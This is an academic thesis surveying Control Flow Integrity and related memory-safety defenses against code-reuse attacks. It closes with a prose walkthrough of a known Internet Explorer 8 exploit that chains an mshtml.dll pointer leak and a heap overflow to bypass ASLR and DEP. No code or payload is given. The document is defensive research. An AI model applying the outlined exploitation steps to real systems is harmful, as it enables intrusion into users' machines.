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Abstract

Software security is still remaining an urgent issue despite several counter-

measures have been proposed. Existing defenses have significantly raised

the bar for attackers but they cannot completely thwart software attacks.

Specifically, memory protection mechanisms are usually bypassed by most

sophisticated exploits by means of code-reuse attacks, and randomization

schemes are usually ineffective because of memory leaks.

Control Flow Integrity (CFI) is a security countermeasure against software

attacks that ensures that control flow stays within a valid execution path.

CFI is applicable to existing software and offers non-probabilistic protec-

tion. It enforces checks in branch instructions and it significantly limits the

amount of gadgets that can be used in code-reuse attacks. In this thesis,

we provide an extensive explanation of how CFI works and we discuss about

its limitations and proposed implementations. Further, we elaborate on how

CFI could limit a real-world attack and discuss about future expectations.

Περίληψη

Οι επιθέσεις εναντίον του λογισμικού παραμένουν ακόμη ένα επείγον θέμα πα-

ρά τα αντίμετρα που έχουν προταθεί. ΄Ετσι, παρά το ότι οι υπάρχουσες άμυνες

έχουν ανεβάσει σημαντικά τον πήχη για τους επιτιθέμενους δεν είναι ικανές να

εξαλείψουν πλήρως τις επιθέσεις στο λογισμικό. Οι μηχανισμοί που προστατε-

ύουν τη μνήμη πολλές φορές παρακάμπτονται από επιθέσεις επαναχρησιμοποίη-

σης κώδικα και οι μηχανισμοί τυχαιοποίησης είναι συνήθως αναποτελεσματικοί

λόγω των διαρροών μνήμης.

Η ακεραιότητα ελέγχου ροής προγράμματος (CFI) είναι ένα αντίμετρο ασφα-

λείας ενάντια σε επιθέσεις λογισμικού που βεβαιώνει ότι ο έλεγχος ροής ε-

xi



νός προγράμματος παραμένει εντός ενός έγκυρου μονοπατιού εκτέλεσης. Το

συγκεκριμένο αντίμετρο μπορεί να εφαρμοστεί σε υπάρχον λογισμικό και προ-

σφέρει μη-πιθανοτική προστασία. Επιβάλλει ελέγχους σε εντολές διακλάδωσης

και μειώνει σημαντικά το σύνολο του κώδικα που μπορεί να χρησιμοποιηθεί

σε μία επίθεση επαναχρησιμοποίησης κώδικα. Σε αυτή τη διατριβή αναλύουμε

εκτενώς τη λειτουργία του CFI και περιγράφουμε τους περιορισμούς του και

τις αντίστοιχες λύσεις που έχουν προταθεί. Επιπλέον, θα εξηγήσουμε το πώς

το συγκεκριμένο αντίμετρο μπορεί να περιορίσει μία αληθινή επίθεση και θα

συζητήσουμε για την μελλοντική του εξέλιξη.
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Chapter 1

Introduction

Since the first software attacks were noticed, researchers are making a con-

tiguous effort in order to secure computer systems. Although several coun-

termeasures have been taken, attackers are still able to compromise software

security with more sophisticated exploiting techniques.

Control Flow Integrity (CFI) is a security countermeasure against soft-

ware attacks which ensures that the execution of a program stays within the

valid control flow, thus preventing any attempt to execute arbitrary compu-

tations. Several works in the literature have shown that CFI can be applied

in existing software with a low performance overhead and considerably mit-

igate software attacks [3]. However, attackers may bypass CFI and other

effective defenses like Data Execution Prevention (DEP) and Address Space

Layout Randomization (ASLR) using more advanced exploitation techniques

by the means of Return Oriented Programming (ROP).
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1.1 Thesis Contribution

In this thesis we briefly describe the way existing software security mecha-

nisms and explain their weaknesses against modern exploitation techniques.

The main contribution of this thesis is to provide an extensive explanation

of Control Flow Integrity (CFI) and examine its benefits and limitations up

to a certain extent. Specifically, we give emphasis to state-of-the-art CFI

implementations and we explain how several CFI limitations have been over-

comed. Next, we reason about how CFI could prevent a real-world attack

against Internet Explorer 8. Lastly, we discuss about the advantages of CFI

in contrast with existing countermeasures and refer to expected future work

involving CFI.

1.2 Thesis Structure

The next chapter of this thesis refers to previous work done in software secu-

rity. First, we mention the evolution of exploitation techniques in software

engineering and elaborate on their limitations. After that, we describe the

most common software security mechanisms that are considered to be signif-

icant landmarks in the area of software security. Then, we refer to defenses

that try to mitigate modern code-reuse attacks, and we make an introduction

to CFI. Chapter 3 explains the limitations of CFI and refers to respective

implementations developed in order to overcome them. In Chapter 4, we

reason about the ways CFI uses to mitigate software attacks and we explain

how a real-world attack in Internet Explorer 8 could be prevented. The last

chapter presents our conclusions and gives pointers to future research.

3



Chapter 2

Background on Software

Security

Software vulnerabilities are software flaws, also known as bugs, that may

cause a program to crash or misbehave. These flaws give the attacker multiple

ways to corrupt a program’s data in order to take control of the execution.

For example, several vulnerabilities exist due to the characteristics of the C

language. The C language was chosen among others due to its efficiency,

so the majority of existing kernel code is written in C. Even if we could

rewrite this code from scratch, which is a very long term task, compatibility

with existing library-dependent software would be a major issue. This fact

requires each solution to be efficient and applicable to existing software. In

the following sections we describe some of the most common defenses for

securing software.
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2.1 Overview of exploitation techniques

When the first software attacks were documented [4], not many defenses

existed with the aim to detect and prevent the execution of malicious code.

A popular exploitation technique was code-injection. In such attacks, the

attacker tries to inject their own code (shellcode) into the target program

and then transfer the execution flow to the injected code by exploiting a

known vulnerability. However, code-injection attacks were thwarted by non-

executable memory mechanisms [5, 6] since any injected code could not be

executed.

To bypass such defenses, a new class of exploitation, called code-reuse, is

using already existing code of the target program instead of injecting ma-

licious code. The first version of code-reuse exploitation was the so-called

return-to-libc attack [7]. In such attacks, after the attacker takes control

of the execution flow, they call multiple functions of the C library, and by

chaining them together they become able to execute arbitrary computations.

It is also proven that return-to-libc attacks are Turing-complete [8].

Although return-to-libc attacks were not completely mitigated by modern

defenses, but they had some limitations. Subsequently, a new code-reuse

exploitation technique, called Return Oriented Programming [9, 10] (ROP),

was introduced. ROP attacks give the attacker the capability to jump to

any address of the existing code, and not only call functions like in return-

to-libc exploitation. In ROP exploitation, the attacker, instead of chaining

multiple functions together, they try to chain multiple gadgets for executing

arbitrary computations. Note that gadgets are small machine code snippets

that end to a ret instruction. It is also proven that ROP is Turing-complete

[9, 10] in several computer architectures. We will mention more about ROP

exploitation in Section 2.6.
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2.2 Stack Protection

As Stack Protection we define any countermeasure taken to protect the in-

tegrity of the memory stack. However, most stack protection mechanisms

protect the return address on the stack rather than the whole stack memory

region. The reason is that attackers usually try to take control of a program’s

execution by altering a saved return address on the stack. Several stack pro-

tection mechanisms have been implemented so far based on secrets. These

include stack canary, return address cloning, pointer encryption and so on.

StackGuard and stack canary

StackGuard [11] is a stack protection mechanism, which places a canary

value above the return address on the stack, and checks for its integrity

before the corresponding function returns. If the saved return address on the

stack is altered, usually via a buffer overflow vulnerability, the canary value is

overwritten due to the sequential byte copy on the stack. Subsequently, the

function epilogue detects that the canary value has been overwritten and the

error handling mechanism usually halts or terminates the program depending

on the compiler’s implementation.

The stack canary value is usually a random number with a machine-

depending length (e.g., a 32-bit value in 32-bit x86 processor architectures).

However, until now several versions of the stack canary protection mechanism

have been implemented, where the stack canary value is represented by a C

string function termination character, like null, new line or EOF. The usual

random canary is impervious to all string operations, because it only needs

to look up the current canary value. Conversely, the terminator canary is

faster but is less secure.

6



StackShield and return address cloning

StackShield [12] is another stack defensive mechanism that protects the re-

turn address on the stack. When a function in the code is called, StackShield

copies the return address to a non-overflowable area. Before the function re-

turns, the saved return address is restored, so any alteration of the return

address on the stack during the current function execution is detected.

On the effectiveness of StackGuard and StackShield

Unfortunately, the protection schemes described above, do not protect the

whole stack memory rather than the saved return addresses on the stack.

Because of this, these protection mechanisms can be bypassed via altering

the rest of the arguments inside a stack frame (including data pointers, code

pointers, and saved frame pointers) [13, 14]. In addition, an unexpected

value could also lead to an execution failure [15] due to the corruption of

local variables, so the protection of the saved return address is not sufficient.

However, there are also techniques to protect local variables as well, with a

larger performance overhead, but we will not refer to them as they are out

of the scope of this thesis. On the other hand, while all these defenses can

harden the security of software they sometimes are not very handy since they

require the source code of a program to be available.

PointGuard and pointer encryption

PointGuard [16] defends from pointer corruption by encrypting pointer

values when stored in memory and decrypting them only when loaded into

CPU registers. Subsequently, any attempt to alter a protected pointer in

order to point in an specific address will fail, since the encryption key is not

known by the attacker. PointGuard does not only protect the saved return

address on the stack, but also any saved pointer of the program. In any case,

7



PointGuard guarantees pointer protection along with some assumptions;

(a) Static initialized pointers, which are computed at compile-time, have to

be re-initialized (encrypted) at runtime, that is when PointGuard creates the

encryption key.

(b) The integrity and the privacy of the encryption key must be maintained

during execution, since an attack that could read or overwrite the key could

also bypass PointGuard protection.

Even if these assumptions hold, PointGuard presents certain compatibility

issues as it is not compatible with non-PointGuard code without the use of

an intermediate interface or compiler directives.

2.3 Data Execution Prevention

Data Execution Prevention (DEP) [6] is a set of hardware and software tech-

nologies that perform additional checks on memory in order to protect it

against the execution of malicious code. A progenitor of DEP was the Non-

Executable Stack project of Solar Designer [5], a security measure which

prevented the execution of any code placed on the stack. This caused code-

injection attacks to fail, since the injected code on the stack couldn’t be

executed. However, this protection was defeated [17]. Subsequently, attack-

ers aimed at exploiting the rest of a program’s sections such as the heap and

the Global Offset Table (GOT).

The protection of the whole memory region was achieved with DEP. In

order to prevent such attacks, DEP marks each memory location as readable

and writable but not executable (W⊕X protection). When DEP is enforced,

the memory region of the stack and the heap is marked as non-executable,

8



therefore even if the attacker injects arbitraty code into the program memory,

the DEP mechanism will prevent the execution of the injected code.

Hardware-enforced DEP relies on processor hardware to mark memory

as writable or executable. The actual hardware implementation of DEP

functions on a per virtual memory page basis, usually by changing a bit in

the Page Table Entry (PTE) to mark the memory page. However, hardware-

enforced DEP is a processor feature, so it is the job of the operating system

to utilize this protection mechanism.

Software-enforced DEP performs additional checks on exception handling

mechanisms. In cases of some processors, mostly the old ones, the non-

executable bit feature is not supported, so the DEP protection scheme has to

be applied in the software level. If a program’s image files are built with Safe

Structured Exception Handling (SafeSEH), software-enforced DEP ensures

that before an exception is triggered, the exception handler is registered in

the function table located within the image file. If the program’s image files

are not built with SafeSEH, software-enforced DEP ensures that before an

exception is dispatched, the exception handler is located within a memory

region marked as executable.

Even if DEP completely thwarts code-injection attacks, more sophisti-

cated exploits may compromise software security by the means of code-reuse

exploitation, that require no code injection at all. Therefore, code-injection

becomes a threat again, since attackers can disable DEP via code-reuse at-

tacks [18] and perform a code-injection attack. However, DEP mitigates

major threats against software security and hence has been widely adopted

by modern computer systems.

9



2.4 Address Space Layout Randomization

Address Space Layout Randomization (ASLR) [19] is a security feature which

randomizes the addresses of code and data into the memory when a program

or a library is loaded. Depending on the implementation of ASLR, the ran-

domization may be applied to the stack, the heap, function addresses and

the image base of an executable file or a library. ASLR may be enforced

during compile-time and runtime based on the security requirements.

Increasing the granularity of address-space randomization at compile-time

(and link-time) is easier than at the start of a program execution because

the source code contains more relocation information than precompiled (and

prelinked) program binaries. During runtime, ASLR may be enforced by ran-

domizing function addresses (function reordering). This technique appears

to be effective against return-into-libc attacks that use multiple function

calls. On the other hand, if an attacker only needs to find a single function’s

address, this technique is not sufficient enough. However, it appears that

compile-time randomization is more effective than runtime randomization

[20].

Nowadays, it is proven that ASLR does not constitute a sufficient coun-

termeasure against software attacks [20], and it is usually part of the exploit

to overcome this defense [18]. Yet, it offers an extra layer of security against

software attacks when is deployed along with DEP.

2.5 Safe Structured Exception Handling

Structured Exception Handling (SEH) [21] is an exception handling mech-

anism which is used in Microsoft’s Windows operating system. The SEH

mechanism is stored in a linked list on the stack and when an exception is

10



raised, the corresponding SEH record in the chain takes control of the ex-

ecution in order to handle the error. Nevertheless, this exception handling

mechanism incurs some security issues. An attacker may overwrite an excep-

tion handler in order to execute some arbitrary code. For preventing SEH

overwrite attacks, Windows implemented a compiler-based solution called

Safe Structured Exception Handling (SafeSEH). SafeSEH adds a list of valid

exception handlers in a binary file (executable or DLL). Subsequently, when

an exception is raised, SafeSEH checks if the corresponding exception handler

exists in the list.

2.6 An overview of ROP mitigation techniques

Even if the countermeasures described above, significantly mitigated several

exploitation techniques, software attacks are still feasible by means of ROP.

Since almost every exploit we see in-the-wild today uses a ROP-depended

payload, researchers have focused specifically into defeating ROP attacks.

A compiler-based solution was introduced by Li et al. [22] that aims

at eliminating all return instructions from a system kernel. This is done

by replacing all return instructions. However, this defense does not prevent

Jump Oriented Programming [23, 24, 25] (JOP) attacks that use no return

instructions at all. G-Free [26] is also a compiler-based solution, similar with

the gadget-less kernel idea, but it targets classes of free branch instructions

rather that focusing on return instructions.

Runtime enforced defenses like kBouncer [27] and ROPecker [28] aimed

at detecting ROP attacks depending on the Last Branch Record (LBR), a

hardware feature recently introduced in the Intel architecture. With this

feature defenders are able to detect ROP attacks by detecting any sufficient

11



long chain of gadgets. Despite the low performance overheads, this type of

detection was proved to generate a significant mass of false negatives and

false positives [29] since the selection of the gadget-chain length thresholds is

not a trivial task. However, both kBouncer and ROPecker have been proven

to be weak by more sophisticated ROP exploits [29, 30, 31]. There are also

some other runtime approaches targeting at mitigating ROP attacks [32, 33],

but we will not discuss more about them since they focus only to a subset of

software attacks.

2.7 Control-Flow Integrity

As several defenses have failed to completely thwart control-flow hijacking

attacks, interest towards Control Flow Integrity (CFI) has increased. CFI is a

security countermeasure against software attacks that subvert machine-code

execution and was originally proposed by Abadi et al. [1]. CFI enforcement is

practical as it is compatible with existing software and can be done efficiently

using binary rewriting in commodity systems. CFI dictates a security policy

that restricts software execution within a program’s Control Flow Graph

(CFG). The CFG of a program represents its valid control flow transfers

and can be extracted by source code analysis, binary analysis or execution

profiling. Once the CFG is determined offline, runtime checks are inserted in

existing software code, which dynamically ensure that control flow remains

within the given CFG.

We distinguish control flow transfers into direct and indirect. Direct con-

trol transfers have a fixed target and do not require any checks. However,

indirect control-flow transfers (ICFs) take a dynamic target address because

they are computed at runtime. Such transfers may be function call and
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return instructions or indirect jumps. As the target address could be con-

trolled by an attacker due to a vulnerability, CFI checks that the target

address of an ICF is valid. In order to enforce these runtime checks, CFI

uses an ID-matching policy. The source and the destination of a valid con-

trol flow transfer are sharing the same ID, so before a computed jump occurs

the program checks if the transfer is legal by comparing the IDs. An example

is represented in Figure 2.1.

Figure 2.1: Example CFI instrumentation of an x86 instruction (source and des-

tination). [1]

In Figure 2.1, we can perceive a computed jump instruction jmp ecx,

whose destination may be a mov instruction from the stack. CFI assigns an

ID at the source and the destination and compares them before the jump.

Assumptions

Unlike other protections, CFI does not rely on the integrity of the data

memory but instead, it detects any abnormal behavior of the program. How-

ever, some assumptions must be hold:

(a) After CFI instrumentation, the bit patterns chosen as IDs must not be

present anywhere in the code memory except ID labels and ID checks. This

can be achieved easily in a 32-bit computer system for software of reasonable
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size.

(b) It must not be possible for the program to modify code at runtime.

Otherwise, an attacker might be able to circumvent CFI, for example by

overwriting an ID-check. This assumption stands true on modern computer

systems as long as dynamic loading of libraries or runtime code-generation

(like in JIT compilation) do not occur.

(c) It must not be possible for the program to execute data as if it were code.

This assumption can be in place with the use of DEP, previously described

in Section 2.3.
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Chapter 3

State-of-the-art CFI

The original CFI implementation [1] was using static binary analysis to ex-

tract the CFG of the program and CFI instrumentation was done by in-

serting inlined runtime checks into the code. However, this implementation

was not strict enough because it didn’t distinguish between indirect control

flow transfer instructions (e.g., function calls and returns) and it also allowed

some arbitrary control-flow transfers unprotected for performance reasons or

due to binary analysis impreciseness.

Unfortunately, there are two main problems that limit CFI enforcement in

practice. First, the extraction of a complete and precise CFG of a program

is a difficult task since source code, debug and relocation information are

usually not available. Second, the enforcement of a strict CFI policy applies

higher performance overheads. For these reasons, one may enforce a looser

form of CFI for securing software. Subsequently, we ’ll discuss about several

problems that limit wide CFI adoption and we ’ll refer to solutions aimed at

overcoming such limitations.

15



3.1 Practical CFI

As we explained earlier, a looser form of CFI (practical CFI) may be enforced

for performance reasons. When the CFG of the program is extracted we have

knowledge upon most of the control-flow transfers in the program. However,

enforcing a CFI policy that completely complies with the extracted CFG

usually implies a high performance overhead. In order to achieve a reason-

able performance overhead, one needs to allow certain arbitrary control-flow

transfers unprotected. Note that it is not advisable to leave unchecked branch

instructions into the code but some invalid destinations may be allowed to

be reached by certain control-flow instructions.

Compact Control Flow Integrity and Randomization

A practical form of CFI, namelly CFFIR (Compact Control Flow Integrity

and Randomization) [3], was implemented based on relocation tables of Mi-

crosoft’s Windows Portable Executable (PE) files when ASLR was deployed.

This CFI scheme has a more strict policy, as it separates indirect control-

flow transfers using three different IDs. CCFIR collects all legal targets of

indirect control flow instructions, puts them into a dedicated memory region,

called Springboard Section, and limits all indirect transfers to flow only to

that memory region. Also, CCFIR offers an extra level of security by ran-

domizing the entries in the Springboard Section. However, CCFIR adoption

is limited at the moment, because it is applicable only in Windows PE files

with ASLR deployment and requires relocation information.

CFI for COTS binaries

Another practical CFI implementation is bin-CFI [34], which targets in

securing commercial off-the-shelf (COTS) binaries. This solution does not
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require any source code, debug information or relocation information for the

extraction of the CFG. In order to compute all the indirect control flow tar-

gets, bin-CFI uses a modified static analysis technique. A modification of

recursive disassembly is used for extracting the CFG, because a straight-

forward recursive disassembly would fail in stripped binaries, due to the lack

of relocation information. In addition, bin-CFI achieves the separate com-

pilation of the modules instrumented, as each shared library and executable

file can be instrumented independently. However, bin-CFI is not as strict as

CCFIR because it uses only two IDs to separate indirect control flow targets.

Even if the original CFI implementation along with CCFIR and bin-

CFI significantly reduce the amount of available gadgets in a program, it is

demonstrated that ROP attacks are still feasible [2, 31]. In Chapter 4 we

’ll discuss extensively about the effectiveness of CFI protection, and we ’ll

explain how it is still possible to overcome modern software defenses.

3.2 Modularity

In the previous section discussed practical CFI solutions that enforce a looser

CFG in order to achieve lower performance overheads. However, for com-

pletely protecting a computer system from control flow hijacking attacks,

the separate instrumentation of each module is not sufficient. The CFI in-

strumentation has to protect cross-module indirect control flow transfers as

well (modularity). Nevertheless, modularity may be easy to achieve when all

modules are instrumented at once and the combined CFG is known ahead

of time. Unfortunately, this rarely happens because existing code is usually

getting patched after its initial release in several commercial applications or

operating system modules.
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Modular Control-Flow Integrity

Niu et al. [35] proposed Modular CFI (MCFI), a CFI implementation that

achieves modularity by supporting the separate compilation of the software

modules to be protected. Each MCFI module contains code and data, but

also auxiliary information that helps its linking with other modules and the

generation of the module’s CFG. However, MCFI requires source code in or-

der to acquire the types of functions and function pointers that are necessary

for the module linking and the generation of the complete CFG.

3.3 Dynamic Loading

The original CFI implementation had to make some assumptions in an effort

to guarantee control-flow integrity. However, assumptions are often vulner-

abilities and have to be validated or minimized. One of these assumptions

was non-writable code, meaning that the program could not be able to mod-

ify code memory during runtime, including dynamic loading. Since dynamic

loading is nowadays a usual software operation, especially when using soft-

ware plugins, a CFI approach that supports dynamic loading is at the essence.

LockDown

Lockdown [36] is a dynamic CFI approach that protects legacy, binary-

only executables and libraries. The CFG is extracted at runtime using a

dynamic on-the-fly analysis (compared to an a-priori static analysis) via a

trusted dynamic loader. A dynamic binary translator (DBT) is used for

maintaining the integrity of control flow transfers using an assisting shadow

stack. Lockdown is modular since it collects information for each module

at runtime and combines them to form the complete CFG. As for dynamic

loading, Lockdown takes leverage of the trusted dynamic loader and enforces
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CFI into runtime imported modules as well.

MCFI also supports dynamic loading, but it protects dynamically linked

libraries only if they are instrumented with CFI ahead of time. Conversely,

Lockdown does not require any offline operation to enforce CFI since it hard-

ens any imported modules during load-time. This makes Lockdown more

suitable in such cases. Furthermore, Lockdown does not require source code

which is usually not available with plugin software or security patches in

commercial applications and closed-source software.

3.4 Just-in-time code and CFI

Nowadays, several modern runtime environments rely on just-in-time (JIT)

compilation. A typical example is several web browsers, like Google Chrome

and Mozilla Firefox, that use JIT compilation in order to optimize Javascript

code. In such cases, JIT compilation is used for optimization reasons since

some user inputs must be known ahead-of-time.

However, since generated JIT code is usually based on user input, se-

curity issues in the JIT compiler may occur. In addition, generated JIT

code is stored into code memory during runtime. This may need to disable

non-writable memory protections temporarily and also opposes to the non-

writable code assumption that CFI requires to guarantee protection. There-

fore, the need to protect the JIT compiler and also the generated JIT code

becomes a necessity since the first operates depending on user input and the

latter is code that will be executed later.

RockJIT

RockJIT [37] is a CFI approach that protects JIT compilers and generated

JIT code. It enforces fine-grained CFI to protect a compiler and coarse-
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grained CFI to protect JITed code. The source code of a JIT compiler is

required in order to extract a precise CFG. Since most JIT compilers are

written in C++, RockJIT is compatible with features like virtual method

calls, function pointers, and exception handling. The generation of JITed

code has to be efficient, therefore a looser CFI policy is enforced at that

point. Basically, RockJIT is built upon MCFI. During runtime, the code

heap is both writable and executable, thus DEP protection is usually disabled

in these memory pages. To solve this problem, RockJIT uses a shadow

code heap that remains outside the JIT compiler’s sandbox in RockJIT’s

private memory. RockJIT incurs lowest performance overheads than similar

protections like Nacl-JIT [38] and librando [39]. A prototype implementation

was based on Google’s V8 JavaScript engine and managed to eliminate 98.5%

of gadgets from V8’s code base using the rop++ gadget tool [40].

3.5 CFI for smartphones

Smartphone usage has significantly increased in over the last years. In many

cases, smartphones can even antagonize traditional computer systems by of-

fering enough resources to efficiently browse the Internet, taking pictures,

recording audio and video, play games and use several services. However,

many applications and services may require an Internet connection even if

the software is already installed in the end-user platform. Unfortunately, this

raises some security issues since the user and provider platform is continu-

ously exposed to the Internet.

In order to protect smartphone software one has to consider about their

architecture and OS specifics. Popular smartphone operating systems like

Google’s Android and Apple’s iOS are based on ARM processors. Although

20



this architecture differs from the traditional Intel x86 architecture, code-reuse

attacks are still feasible is such platforms [23, 24] and there exist documented

real-world attacks in such devices as well [41]. In the following, we ’ll refer

to some related work about smartphone-based CFI and we ’ll discuss about

their contribution.

Mobile CFI

As already pointed out, most CFI implementations are based on the Intel

x86 platform. Mobile CFI (MoCFI) [42] is a CFI enforcement framework

based on ARM processors and a prototype has been developed for Apple’s

iOS. MoCFI does not require the source code of the application, so it ex-

tracts the CFG of the program using static binary analysis, and uses such

information to enable runtime checks like several CFI implementations. The

representation of the CFG is stored in a separate file and is linked to the

application during runtime using MoCFI’s shared library. Unfortunately,

smartphone binary rewriting presents some limitations due to code signing

and the lack of a complete binary rewriter. To address this issue, MoCFI

replaces any branch instruction with the dispatcher instruction. The latter

redirects the control-flow to a code section where the CFI checks take place.

During static analysis, MoCFI also creates a patch file that contains neces-

sary information for any indirect control flow transfer. The patchfile is used

at load-time to rewrite the binary. However, MoCFI deployment requires

a jailbreak for installing the shared library that is used during runtime to

enforce the CFI checks. Even if MoCFI does not protect loaded shared li-

braries, compatibility can be achieved with some modifications of the CFI

checks. The binary rewriting phase during load-time took less than a second

for applications of 2-3MB of code. Concerning security, MoCFI has prevented
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a sample attack based on Iozzo’s ROP attack [41] but it is mentioned that it

does not protect against attacks that exploit exception handlers.

Control-Flow Restrictor

Control-Flow Restrictor (CFR) [43] is a compiler-based approach to en-

force control-flow integrity on iOS applications. It operates on the IR-level

of the Low Level Virtual Machine (LLVM) compiler by extracting the legal

targets of any indirect control-flow transfer and instruments the code by in-

serting target-validity checks before any transfer. Unlike MoCFI, CFR has

no need of jailbreak or runtime components. Also, it exceeds the problem of

code signing and encryption of such applications since it does not modify any

pre-compiled code at all. However, CFR may not be such applicable since

apps in the AppStore are usually closed-source.

3.6 Memory disclosure vulnerabilities

As we said earlier, CFI is a software security mechanism that restricts any

arbitrary control flow during program execution. However, CFI does not

protect the integrity of the data memory since it detects an attack when it

actually takes place and the program memory has already been corrupted.

However, the secrecy of the data memory is an active security issue. Several

CFI approaches assume that the attacker has no knowledge about the pro-

gram memory. Unfortunately, if the attacker acquires knowledge upon code

memory, CFI protection may be negated.

The CCFIR approach, mentioned in Section 3.1, uses a SpringBoard Sec-

tion that contains vital information about valid ICFs and if its contents

become revealed to the attacker, the control-flow integrity of the program

may be compromised even if CFI checks are instrumented into the code. JIT
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engines are also proven to be severally exposed to memory disclosure vulner-

abilities. Snow et al. [44] showed that it is possible to map an application’s

memory layout by repeatedly abusing a memory disclosure vulnerability in

Internet Explorer, thus negating fine-grained ASLR.

Opaque CFI

Opaque CFI (O-CFI) [45] is a protection mechanism against control-flow

hijacking attacks that implements a bound-checking technique for branch

instructions and also offers fine-grained randomization for additional protec-

tion. A key contribution of O-CFI is that it can offer a subtle protection

that tolerates certain kinds of memory disclosure. Most CFI schemes are

using an ID-matching policy to assure the integrity of control flow transfers.

However, O-CFI instead of matching any source and destination pair an ID,

it assigns each branch instruction a bounded address range that it is allowed

to jump. Consequently, when a branch instruction is going to occur, the CFI

mechanism checks if the destination of the instruction is within its assigned

address bounds. This technique does not require the source code of the pro-

gram since it can be enforced into existing software using binary rewriting.

However, this requires the CFG of the program that is statically extracted

using binary analysis.

O-CFI stores the address bounds of each branch instruction in a Bounds

Lookup Table (BLT). BLT cannot be accessed from attackers since there

are no pointer references to BLT in the code or data section. BLT is ac-

cessed using segment selectors, specifically only the gs register, that cannot

be manipulated by attackers since such instructions would require additional

privileges. O-CFI promises probabilistic protection even if one affords a full

disclosure of code. This makes it subtle against Blind-ROP [46] and JIT-
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ROP [44] attacks. During load-time the code section is randomized using a

runtime library that is imported into the Import Address Table (IAT). The

BLT is also placed into a random address in the memory.

O-CFI is claimed to be non-OS specific, but requires an intermediate

library and an API hooking utility. It can support dynamic-loaded libraries

with the use of portals in an effort to comply with cross-module transfers

bounds checks. It also can be compatible with non-Opaque modules with

the use of trampolines. O-CFI will benefit from the MPX support, offering

even lowest performance overheads and it is shown that the construction of

a complete gadget chain is very hard (0.01% to construct a 4-gadget chain

[45]).

3.7 Kernel Protection

Most of operating system kernels are written in low-level languages, like C,

due to their efficiency. Unfortunately, such languages suffer from security

flaws since they directly interact with memory space and are not type-safe

like Java and C#. However, it is almost impossible to rewrite such code

from scratch since there are so many lines of code and it would require a

lot of programming resources and time. Therefore, corresponding solutions

must target either into securing existing code without access to source code

or turning towards open-source code. In order to protect kernel code, spe-

cial operations like signaling, context switching and exceptions have to be

supported as well.

KCoFI

Kernel Control Flow Integrity (KCoFI) [47] is a compiler-based solution

against control-flow hijacking attacks that protects OS kernels. It also sup-
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ports and protects virtual to physical address translation, trap handling,

context switching and signal handler dispatch for complying with special op-

erations of an OS kernel. KCoFI does not compute the CFG of the kernel

in order to avoid complicated static analysis. Instead, it labels all target of

computed jumps and uses jump table optimization to reduce the number of

labels and checks. In practice, KCoFI reduced the number of indirect control

flow targets by 98.18% in the FreeBSD kernel and showed lower performance

overheads than other heavyweight memory-safety techniques. The gadgets

that remained using the ROP-Gadget tool [48] were manually analyzed. None

of the gadgets followed a valid control-flow integrity label.
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Chapter 4

Attacking CFI

As already mentioned in Section 2, attackers attempt to take control of a

program’s execution by exploiting possible software vulnerabilities. Usually,

they are trying to overwrite the program counter (directly or indirectly by

using pointers) in order to take control of the execution flow when the next

return instruction occurs. CFI minimizes such attacks by checking if the

destination address is valid before any indirect control-flow transfer occurs,

including returns, indirect jumps and calls. Therefore, even if the attacker

controls the program counter, CFI limits the addresses that the transfer may

jump to. Unfortunately, existing CFI approaches [1, 3, 34] do not enforce

strict checks in every indirect control-flow transfer in the code for reasons

including performance and source code unavailability as mentioned in Section

3.1.

Most CFI approaches are using the Average Indirect Target Reduction

(AIR) metric in order to define the number of indirect control-flow transfers

that were protected with CFI checks. Since there is a small percentage of

branch instructions that can be still used by the attacker, the question that

remains is if the remaining amount of these unprotected branch instructions
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is sufficient to perform an attack. Goktas et al. [2] proved that it is still

feasible to mount an attack in Internet Explorer 8 with CCFIR deployed

along with ASLR and DEP.

4.1 Finding gadgets

As already mentioned, the first step of the attack occurs when the attacker

tries to take control of the execution. In any case, the attacker may have

been prepared for the attack offline. In cases where the same software is

distributed to several users, the attacker may examine a target program of-

fline and then unleash the real attack. When the attacker has knowledge

upon the program code offline, they can use several tools that automate

the payload construction offline [48, 49, 40]. However, the ASLR protec-

tion mechanism mentioned in Section 2.4 can offer probabilistic protection

against such cases since it randomizes the addresses of the modules that are

loaded into the memory. Unfortunately, several real-world programs suffer

from memory leaks that attackers may exploit to negate such randomization

schemes [50, 51].

CFI limits the attacker’s options when it comes to construct a gadget-

chain. That is, CFI significantly limits the construction of a sufficient gadget-

chain by allowing control-flow transfers into a much smaller subset of the

whole program code address space. This forces the attacker to search for

more complex and longer gadgets and gadget-chains. A problem with long

gadgets (not gadget-chains) is branching conditions. This term represents

the branch instructions that reside within a given gadget. A simple example

would be a conditional jump instruction or a call instruction within a gadget.

If the attacker uses such gadgets, they need to be aware of the outcome of
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these in-gadget control-flow transfers since they could modify the stack or

important values saved on registers. Goktas et al. [2] showed that it is still

possible to launch such attacks with more complex gadget chains that use a

combination of ROP and JOP gadgets against software protected by CCFIR,

DEP and ASLR.

4.2 Attacking Internet Explorer 8

In this section we will elaborate on a real-world attack against Internet Ex-

plorer 8 that bypasses modern defenses. Also we will discuss about how

CFI could prevent or limit such attacks. Specifically, the attack discussed

in this section exploits a combination of two vulnerabilities, a heap-based

buffer overflow and a memory leak one that resides in mshtml.dll. We also

assume that both ASLR and DEP are in place. The objectives of the attack:

(a) Bypass ASLR (exploit both vulnerabilities)

(b) Disable DEP (exploit buffer overflow)

(c) Execute shellcode

Bypass ASLR

Since ASLR offers probabilistic protection it can be brute-forced but this

approach is not efficient as generally believed. A similar technique, called

partial EIP overwrite [52], also tries to guess a module’s address by taking

leverage of an address’s bits that don’t change in specific ASLR implemen-

tations. However, both of these approaches are deprecated because of their

efficiency and the chance to crash the program. It is also possible for the

attacker to use non-ALSR modules in their attack, but such modules are not

usually encountered in modern operating systems and legacy software.

In this attack, we will use a memory leak that resides in mshtml.dll of In-
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ternet Explorer 8 in order to bypass ASLR and achieve knowledge upon the

code address space of the program. When a button is created in Internet

Explorer 8, the heap allocates a memory chunk for this object. The first 4

bytes of this chunk, represent the address of a Virtual Function Table (VFT)

in mshtml.dll. The security flaw in this point is that even when ASLR is in

place, this VFT pointer remains always the same. In the following, we have

to read its value and by comparing the offset to the real VFT address, we

compute the base address of mshtml.dll.

At this point, we have to take advantage of the buffer overflow for reading

the VFT pointer. When a table is created in Internet Explorer 8, the heap

allocates a memory chunk for the table object, similarly with the button

mentioned before. The table object chunk contains a pointer to a buffer that

stores information about the table’s columns. This is characteristically de-

scribed in Figure 4.1. The vulnerability in this point occurs when the fixed

span of a column is increased because the program does not reallocate the

buffer to a different address with sufficient memory, but instead it overflows

the buffer. We can observe this situation in Figure 4.2.

Figure 4.1: Heap instance after the creation of a button object.
